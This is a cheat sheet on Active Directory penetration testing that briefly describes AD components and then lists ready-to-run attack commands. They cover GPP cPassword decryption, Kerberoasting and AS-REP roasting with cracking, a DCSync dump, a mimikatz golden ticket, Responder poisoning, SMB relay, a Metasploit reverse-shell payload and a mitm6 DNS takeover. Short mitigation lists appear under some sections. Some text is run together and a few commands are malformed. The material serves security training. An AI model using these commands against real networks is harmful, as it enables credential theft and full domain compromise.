Basic AD Pentesting
AD Components
Domain Controller
Server with AD DS server role.
Hosts a copy of the AD DS directory store.
Provides authentication and authorization services.
Replicates updates to other domain controllers.
Allows administrative access to manage resources.
AD DS Data Store
Consists of the Ntds.dit file (password hashes, sensitive information).
Stored in the %SystemRoot%\NTDS folder on all domain controllers.
AD Logical Components
Schema:
Defines objects that can be stored in the directory.
Enforces rules about object creation and configuration.
Domains:
Group and manage objects in an organization.
May include child domains and trusts with other domains.
Trees:
Hierarchy of domains in AD DS.
Can have child domains.
Creates two-way transitive trust with other domains.
Forests:
Collection of Trees.
Shares common schema and configuration.
Enables trusts between domains in the forest.
Shares enterprise admin, schema admins groups.
Organizational Units (OUs):
Containers that can contain users, groups, computers, and other OUs.
Trusts:
Provide mechanisms for users to gain access.
Objects:
Users, contacts, groups, computers, printers, shared folders, etc.
Initial Attack Vectors
Begin with mitm6 or Responder.
Run a scan to generate traffic.
Look for default credentials on web logins.
Target websites in scope (http_version).
Consider printers, Jenkins, etc.
Think outside the box.
Additional Resources:
Enumeration
Kerberos Enumeration
Nmap Scan:
nmap -T5 10.10.10.100SMB Enumeration:
smbclient -L \\\\10.10.10.100\\Replication:
smbclient \\\\10.10.10.100\\ReplicationIn the
Replicationdirectory, look forGroups.xmlfile.
Extracting cPassword:
Copy the
cPasswordattribute fromGroups.xml.Use
gpp-decryptto decrypt the password:gpp-decrypt <cpassword>
Psexec.py with Hash:
psexec.py active.htp /svc_tags:<cpassword>@10.10.10.100Kerberoasting with GetUserSPNs.py:
python3 GetUserSPNs.py limbawy.local/ahmed:Password -dc-ip 192.168.1.10 -requestSave the hash to
TGS.txt.Crack the hash using
john:sudo john TGS.txt
ASREPRoast with GetNPUsers.py:
python3 GetNPUsers.py limbawy.local/levi -dc-ip 192.168.1.10Save the hash to
TGT.txt.Crack the hash using
john:sudo john TGT.txt
BloodHound for Full Control:
bloodhound-python -u Levi -p Password -ns 192.168.1.10 -d limbawy.local -c AllDC Sync Attack with secretsdump.py:
python3 secretsdump.py limbawy.local/Levi:Password@192.168.1.10 -use-vssGolden Ticket with mimikatz:
mimikatz # kerberos:golden /domain:limbawy.local /sid:S-1-5-21-1314916712-2918817657-636196047 /user:Administrator:13dadc78472c366a7cd1cea42347af18 /krbtgt:b3a2e1bb5cb5e94a27f1884d86bca6c2 /ptt
LMNR
LMNR (Link-Local Multicast Name Resolution) Attack Workflow:
Use
responder:responder -I tun0 -rdwWait for events.
Retrieve hashes.
Crack hashes using
hashcat:hashcat -m 5600 hashes.txt rockyou.txt
Defense:
Disable LMNR and NBT-NS.
Enforce strong user passwords.
SMB
Identify SMB Signing:
nmap --script=smb2-security-mode.nse -p 445 192.168.57.0/24SMB Relay Attack Workflow:
Edit
responder.confto turn off SMB and HTTP.Run
responder:responder -I eth0 -rdw -wRun
ntlmrelayx.py:ntlmrelayx.py -tf targets.txt -smb2support
Gaining a Shell using MSF:
msfconsole search psexec set rhost target_ip set smbdomain <domain_here> set smpass <password_u_cracked_here> set payload windows/x64/meterpreter/reverse_tcp set lhost eth0 runOther Ways to Psexec:
psexec.py marvel.local/fcastle:password1:@192.168.57.141 smbexec.py marvel.local/fcastle:password1:@192.168.57.141 wmiexec.py marvel.local/fcastle:password1:@192.168.57.141
Mitigation:
Enable SMB Signing.
Disable NTLM authentication.
Implement account tiering.
Restrict local admin access.
IPv6 Attacks
Install mitm6:
pip3 install mitm6Setup LDAP for DNS Takeover:
Go to Server Manager.
Add the AD Cert Services feature.
DNS Takeover via mitm6 Workflow:
mitm6 -d marvel.localDelegate Impersonation Attack with ntlnrelayx.py:
ntlmrelayx.py -t ldaps://192.168.57.140 -wh fakewpad.marvel.local -l lootme
Mitigation:
Disable IPv6.
Disable WPAD.
Enable LDAP signing.
Consider administrative users in the protected users group.
Passback Attack
Last updated
Was this helpful?